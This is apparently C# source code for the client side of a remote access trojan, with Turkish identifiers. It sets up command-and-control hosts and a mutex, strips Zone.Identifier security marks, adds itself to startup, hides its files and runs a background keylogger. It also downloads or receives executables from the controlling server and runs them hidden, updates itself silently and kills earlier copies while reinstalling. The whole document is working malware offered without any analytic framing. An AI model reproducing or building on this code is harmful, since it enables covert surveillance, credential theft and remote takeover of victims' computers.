private static bool Initialize() { var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS)); if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) { return(false); } AES.SetDefaultKey(Settings.PASSWORD); ClientVerisi.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME); GeoLocationHelper.Initialize(); DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.CurrentPath); if (!Settings.INSTALL || ClientVerisi.CurrentPath == ClientVerisi.InstallPath) { WindowsAccountHelper.StartUserIdleCheckThread(); if (Settings.STARTUP) { if (!Başlangıç.AddToStartup()) { ClientVerisi.AddToStartupFailed = true; } } if (Settings.INSTALL && Settings.HIDEFILE) { try { File.SetAttributes(ClientVerisi.CurrentPath, FileAttributes.Hidden); } catch (Exception) { } } if (Settings.ENABLELOGGER) { new Thread(() => { _msgLoop = new ApplicationContext(); var logger = new Keylogger(15000); Application.Run(_msgLoop); }) { IsBackground = true }.Start(); } ConnectClient = new KuuhakuClient(hosts); return(true); } MutexHelper.CloseMutex(); ClientYükleyici.Install(ConnectClient); return(false); }
public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client) { if (!_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName))); } string filePath = _renamedFiles[command.ID]; try { if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block)) { throw new Exception("Exe dosyası bulunamadı."); } FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { throw new Exception(destFile.LastError); } if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { if (_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Remove(command.ID); } DosyaYardımcısı.DeleteZoneIdentifier(filePath); ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = filePath; Process.Start(startInfo); new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client); } } catch (Exception ex) { if (_renamedFiles.ContainsKey(command.ID)) { _renamedFiles.Remove(command.ID); } NativeMethods.DeleteFile(filePath); new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client); } }
public static void HandleDoDownloadAndExecute(Paketler.ServerPaketleri.DoDownloadAndExecute command, Client client) { new Paketler.ClientPaketleri.SetStatus("Dosya İndiriliyor...").Execute(client); new Thread(() => { string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe"); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.URL, tempFile); } } catch { new Paketler.ClientPaketleri.SetStatus("İndirme Başarısız").Execute(client); return; } new Paketler.ClientPaketleri.SetStatus("Dosya İndirildi!").Execute(client); try { DosyaYardımcısı.DeleteZoneIdentifier(tempFile); var bytes = File.ReadAllBytes(tempFile); if (!DosyaYardımcısı.ExeValidmiKardeş(bytes)) { throw new Exception("herhangi bir pe dosyası bulunamadı."); } ProcessStartInfo startInfo = new ProcessStartInfo(); if (command.RunHidden) { startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.CreateNoWindow = true; } startInfo.UseShellExecute = false; startInfo.FileName = tempFile; Process.Start(startInfo); } catch { NativeMethods.DeleteFile(tempFile); new Paketler.ClientPaketleri.SetStatus("Yürütme Başarısız!").Execute(client); return; } new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client); }).Start(); }
public static void Update(Client client, string newFilePath) { try { DosyaYardımcısı.DeleteZoneIdentifier(newFilePath); var bytes = File.ReadAllBytes(newFilePath); if (!DosyaYardımcısı.ExeValidmiKardeş(bytes)) { throw new Exception("Pe Dosyası Bulunamadı"); } var batchFile = DosyaYardımcısı.GüncellemeBatı(newFilePath, Settings.INSTALL && Settings.HIDEFILE); if (string.IsNullOrEmpty(batchFile)) { throw new Exception("Güncelleme Bat Dosyası Oluşturulamadı."); } var startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, UseShellExecute = true, FileName = batchFile }; Process.Start(startInfo); if (Settings.STARTUP) { Başlangıç.RemoveFromStartup(); } Program.ConnectClient.Exit(); } catch (Exception ex) { NativeMethods.DeleteFile(newFilePath); new SetStatus(string.Format("Güncelleme Başarısız Oldu: {0}", ex.Message)).Execute(client); } }
public static void Install(Client client) { var isKilled = false; // klasör oluşturma if (!Directory.Exists(Path.Combine(Settings.DIR, Settings.SUBFOLDER))) { try { Directory.CreateDirectory(Path.Combine(Settings.DIR, Settings.SUBFOLDER)); } catch (Exception) { return; } } // silme if (File.Exists(ClientVerisi.InstallPath)) { try { File.Delete(ClientVerisi.InstallPath); } catch (Exception ex) { if (ex is IOException || ex is UnauthorizedAccessException) { // eğer mutex değişirse eski işlemi öldürme var foundProcesses = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(ClientVerisi.InstallPath)); var myPid = Process.GetCurrentProcess().Id; foreach (var prc in foundProcesses) { if (prc.Id == myPid) { continue; } prc.Kill(); isKilled = true; } } } } if (isKilled) { Thread.Sleep(5000); } try { File.Copy(ClientVerisi.CurrentPath, ClientVerisi.InstallPath, true); } catch (Exception) { return; } if (Settings.STARTUP) { if (!Başlangıç.AddToStartup()) { ClientVerisi.AddToStartupFailed = true; } } if (Settings.HIDEFILE) { try { File.SetAttributes(ClientVerisi.InstallPath, FileAttributes.Hidden); } catch (Exception) { } } DosyaYardımcısı.DeleteZoneIdentifier(ClientVerisi.InstallPath); //dosya başlatma var startInfo = new ProcessStartInfo { WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, UseShellExecute = false, FileName = ClientVerisi.InstallPath }; try { Process.Start(startInfo); } catch (Exception) { } }